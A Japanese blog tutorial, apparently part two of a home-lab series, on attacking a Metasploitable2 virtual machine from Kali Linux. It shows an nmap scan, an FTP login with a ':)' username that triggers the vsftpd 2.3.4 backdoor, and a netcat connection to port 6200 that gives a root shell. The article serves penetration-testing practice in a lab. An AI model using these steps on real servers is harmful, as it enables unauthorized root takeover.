VirtualBoxでKali Linuxから仮想マシンにハッキングしてみる～攻撃実践編～[Windows10]

# はじめに
この記事は後編になります。前編は以下からどうぞ。

https://qiita.com/shiba_it/items/50631fac5f2115e95b9d

前編で環境構築を行いました。この記事ではKaliLinuxでMetasploitable2に攻撃を仕掛けてみます。
といっても知っている方は同じみの`vsftpd`を使った攻撃ですごめんなさい。

:::note notice
他人や他社のサービス、サーバー等へ許可なしに攻撃を実行した場合は犯罪行為となります。
本記事を参考に他人や他社に害を与えたとしても一切の責任を負いません。
:::

# vsftpd 2.3.4の脆弱性を利用したサーバ乗っ取り
2011年にリリースされた**vsftpd バージョン2.3.4**には、バックドアコードが存在しており、その脆弱性を利用して攻撃を仕掛けることができます。Metasploitable2にはこのvsftpd 2.3.4がインストールされているので、さっそく攻撃してみましょう。

まずはKali Linuxにログインし、ターミナルを起動します。
![スクリーンショット 2022-01-06 224402.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/434874/dca6d59d-73a2-af2e-446a-1162e0958be4.png)

次にターミナルで下記コマンドを実行します。

```bash
nmap -sS -A 10.0.0.5
```

   `nmap`とは、対象のサーバに対してポートスキャンを行うツールです。オプションの`-sS`はスキャンタイプを**TCP SYNスキャン**に指定し、`-A`は**OS検出とバージョン検出**を行うことを指定しています。

```bash
$ sudo nmap -sS -A 10.0.0.5
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 08:47 EST
Nmap scan report for 10.0.0.5
Host is up (0.00046s latency).
Not shown: 977 filtered ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet       Linux telnetd
25/tcp   open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
53/tcp   open  domain       ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind      2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      42531/udp   mountd
|   100005  1,2,3      46233/tcp   mountd
|   100021  1,3,4      34376/udp   nlockmgr
|   100021  1,3,4      53805/tcp   nlockmgr
|   100024  1          33855/tcp   status
|_  100024  1          34341/udp   status
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi     GNU Classpath grmiregistry
1524/tcp open  bindshell    Metasploitable root shell
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql?
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2021-11-27T11:51:17+00:00; -40d02h00m41s from scanner time.
5900/tcp open  vnc          VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11          (access denied)
6667/tcp open  irc          UnrealIRCd
8009/tcp open  ajp13        Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http         Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge|general purpose|switch
Running (JUST GUESSING): Oracle Virtualbox (98%), QEMU (93%), Bay Networks embedded (88%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:qemu:qemu cpe:/h:baynetworks:baystack_450
Aggressive OS guesses: Oracle Virtualbox (98%), QEMU user mode network gateway (93%), Bay Networks BayStack 450 switch (software version 3.1.0.22) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40d00h20m40s, deviation: 2h53m13s, median: -40d02h00m41s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-11-27T06:49:37-05:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.22 ms 10.0.2.2
2   0.29 ms 10.0.0.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 280.03 seconds

```

環境の違いにもよると思いますが、私の環境ではスキャン完了までおよそ**3分**ほどかかりました。
上記実行結果のうち`21/tcp open`などと表示されているものが、`TCPで接続可能なポート番号`になっています（たくさんありますね笑）。

上記実行結果から、攻撃対象サーバに`vsftpd 2.3.4`が存在することが分かりました。下記の部分です。

```bash
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
```

続いて、下記コマンドを実行します。

```bash
$ ftp 10.0.0.5 
```
実行後`Name`と`Password`を尋ねられます。
Nameはバックドアを起動させるために必ず最後に`:)`を付ける必要があるので`1234567:)`とでもしましょう。
Passwordは入力せずに`Enter`でOKです。

```bash
Connected to 10.0.0.5.
220 (vsFTPd 2.3.4)
Name (10.0.0.5:kali): 1234567:)
331 Please specify the password.
Password:
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Success
ftp> 
ftp> exit

```

それぞれ入力すると、`421 Service not available`と表示され、ログインは弾かれます。
しかし、この操作により攻撃対象サーバの`6200ポート`が**オープン**になります。

ここで下記コマンドを実行します。

```bash
nc -nv 10.0.0.5 6200 
```

これにより攻撃対象への**root権限の乗っ取り**が完了しました。一見すると何も変化ないように見えるので、`whoami`と`ifconfig`を使って現在の権限とIPアドレスを確認します。

```bash
$ nc -nv 10.0.0.5 6200                                                                         1 ⚙
(UNKNOWN) [10.0.0.5] 6200 (?) open
whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:43:7c:5d  
          inet addr:10.0.0.5  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe43:7c5d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13131 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14713 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1059068 (1.0 MB)  TX bytes:1310394 (1.2 MB)
          Base address:0xd020 Memory:f0200000-f0220000 
```

上記結果より、root権限でかつIPアドレスが`10.0.0.5`(=攻撃対象サーバのIPアドレス)になっていることがわかると思います。
これで**パスワードの入力無しで**自由に攻撃対象サーバを操れるようになりました。

# 終わりに
実際に攻撃してみて、「あぁ、ハッキングってこんな感じなんだな」としたり顔になりました（本当に簡単なことしかしてませんけど）。
また、同時に脆弱性が発見された場合にできるだけはやく対策することの重要性を肌で感じることができました。
今後もペネトレーションテストの実践練習は続けていき、近いうちにCTFへ挑戦しようと思います！

## 参考記事
https://yun-craft.com/software-crafts/kali-linux/kali-linux05

https://qiita.com/Kuroakira/items/5aa5f77d13ee4a108b41